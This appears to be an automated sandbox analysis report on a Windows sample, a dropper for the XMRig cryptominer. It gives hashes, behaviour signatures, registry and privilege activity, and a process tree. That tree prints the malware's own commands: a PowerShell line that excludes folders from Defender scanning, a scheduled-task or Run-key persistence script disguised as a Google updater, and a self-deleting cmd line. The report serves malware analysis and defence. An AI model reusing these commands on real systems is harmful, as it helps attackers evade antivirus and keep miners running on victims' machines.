Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1792s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
UMRsPGc4u9tycx9r.exeupdater.execonhost.exedescription pid process target process PID 4612 created 3580 4612 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 4612 created 3580 4612 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 4612 created 3580 4612 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 4612 created 3580 4612 UMRsPGc4u9tycx9r.exe Explorer.EXE PID 2744 created 3580 2744 updater.exe Explorer.EXE PID 2744 created 3580 2744 updater.exe Explorer.EXE PID 2744 created 3580 2744 updater.exe Explorer.EXE PID 2744 created 3580 2744 updater.exe Explorer.EXE PID 3660 created 3580 3660 conhost.exe Explorer.EXE PID 2744 created 3580 2744 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral24/memory/2108-129-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-133-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-134-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-136-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-140-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-142-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-144-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-146-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-148-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-150-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-152-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-154-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-156-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-158-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-160-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-162-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-164-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-166-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-168-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-170-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-172-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-174-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-176-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-178-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-180-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-182-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-184-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-186-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-188-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig behavioral24/memory/2108-190-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2744 updater.exe -
Processes:
resource yara_rule behavioral24/memory/2108-125-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-129-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-133-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-134-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-136-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-140-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-142-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-144-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-146-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-148-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-150-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-152-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-154-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-156-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-158-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-160-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-162-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-164-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-166-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-168-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-170-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-172-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-174-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-176-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-178-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-180-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-182-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-184-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-186-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-188-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx behavioral24/memory/2108-190-0x00007FF7CCEE0000-0x00007FF7CD6D4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2744 set thread context of 3660 2744 updater.exe conhost.exe PID 2744 set thread context of 2108 2744 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.exeUMRsPGc4u9tycx9r.exeupdater.execmd.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe UMRsPGc4u9tycx9r.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
UMRsPGc4u9tycx9r.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 1504 powershell.exe 1504 powershell.exe 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 2680 powershell.exe 2680 powershell.exe 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 4612 UMRsPGc4u9tycx9r.exe 3200 powershell.exe 3200 powershell.exe 2744 updater.exe 2744 updater.exe 1952 powershell.exe 1952 powershell.exe 2744 updater.exe 2744 updater.exe 3024 powershell.exe 3024 powershell.exe 2744 updater.exe 2744 updater.exe 2744 updater.exe 2744 updater.exe 3660 conhost.exe 3660 conhost.exe 2744 updater.exe 2744 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 656 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1504 powershell.exe Token: SeDebugPrivilege 2680 powershell.exe Token: SeIncreaseQuotaPrivilege 2680 powershell.exe Token: SeSecurityPrivilege 2680 powershell.exe Token: SeTakeOwnershipPrivilege 2680 powershell.exe Token: SeLoadDriverPrivilege 2680 powershell.exe Token: SeSystemProfilePrivilege 2680 powershell.exe Token: SeSystemtimePrivilege 2680 powershell.exe Token: SeProfSingleProcessPrivilege 2680 powershell.exe Token: SeIncBasePriorityPrivilege 2680 powershell.exe Token: SeCreatePagefilePrivilege 2680 powershell.exe Token: SeBackupPrivilege 2680 powershell.exe Token: SeRestorePrivilege 2680 powershell.exe Token: SeShutdownPrivilege 2680 powershell.exe Token: SeDebugPrivilege 2680 powershell.exe Token: SeSystemEnvironmentPrivilege 2680 powershell.exe Token: SeRemoteShutdownPrivilege 2680 powershell.exe Token: SeUndockPrivilege 2680 powershell.exe Token: SeManageVolumePrivilege 2680 powershell.exe Token: 33 2680 powershell.exe Token: 34 2680 powershell.exe Token: 35 2680 powershell.exe Token: 36 2680 powershell.exe Token: SeIncreaseQuotaPrivilege 2680 powershell.exe Token: SeSecurityPrivilege 2680 powershell.exe Token: SeTakeOwnershipPrivilege 2680 powershell.exe Token: SeLoadDriverPrivilege 2680 powershell.exe Token: SeSystemProfilePrivilege 2680 powershell.exe Token: SeSystemtimePrivilege 2680 powershell.exe Token: SeProfSingleProcessPrivilege 2680 powershell.exe Token: SeIncBasePriorityPrivilege 2680 powershell.exe Token: SeCreatePagefilePrivilege 2680 powershell.exe Token: SeBackupPrivilege 2680 powershell.exe Token: SeRestorePrivilege 2680 powershell.exe Token: SeShutdownPrivilege 2680 powershell.exe Token: SeDebugPrivilege 2680 powershell.exe Token: SeSystemEnvironmentPrivilege 2680 powershell.exe Token: SeRemoteShutdownPrivilege 2680 powershell.exe Token: SeUndockPrivilege 2680 powershell.exe Token: SeManageVolumePrivilege 2680 powershell.exe Token: 33 2680 powershell.exe Token: 34 2680 powershell.exe Token: 35 2680 powershell.exe Token: 36 2680 powershell.exe Token: SeIncreaseQuotaPrivilege 2680 powershell.exe Token: SeSecurityPrivilege 2680 powershell.exe Token: SeTakeOwnershipPrivilege 2680 powershell.exe Token: SeLoadDriverPrivilege 2680 powershell.exe Token: SeSystemProfilePrivilege 2680 powershell.exe Token: SeSystemtimePrivilege 2680 powershell.exe Token: SeProfSingleProcessPrivilege 2680 powershell.exe Token: SeIncBasePriorityPrivilege 2680 powershell.exe Token: SeCreatePagefilePrivilege 2680 powershell.exe Token: SeBackupPrivilege 2680 powershell.exe Token: SeRestorePrivilege 2680 powershell.exe Token: SeShutdownPrivilege 2680 powershell.exe Token: SeDebugPrivilege 2680 powershell.exe Token: SeSystemEnvironmentPrivilege 2680 powershell.exe Token: SeRemoteShutdownPrivilege 2680 powershell.exe Token: SeUndockPrivilege 2680 powershell.exe Token: SeManageVolumePrivilege 2680 powershell.exe Token: 33 2680 powershell.exe Token: 34 2680 powershell.exe Token: 35 2680 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid process target process PID 1648 wrote to memory of 4484 1648 cmd.exe choice.exe PID 1648 wrote to memory of 4484 1648 cmd.exe choice.exe PID 3200 wrote to memory of 3668 3200 powershell.exe schtasks.exe PID 3200 wrote to memory of 3668 3200 powershell.exe schtasks.exe PID 2744 wrote to memory of 3660 2744 updater.exe conhost.exe PID 1080 wrote to memory of 2984 1080 cmd.exe WMIC.exe PID 1080 wrote to memory of 2984 1080 cmd.exe WMIC.exe PID 2744 wrote to memory of 2108 2744 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3580
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4612 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2680 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4484
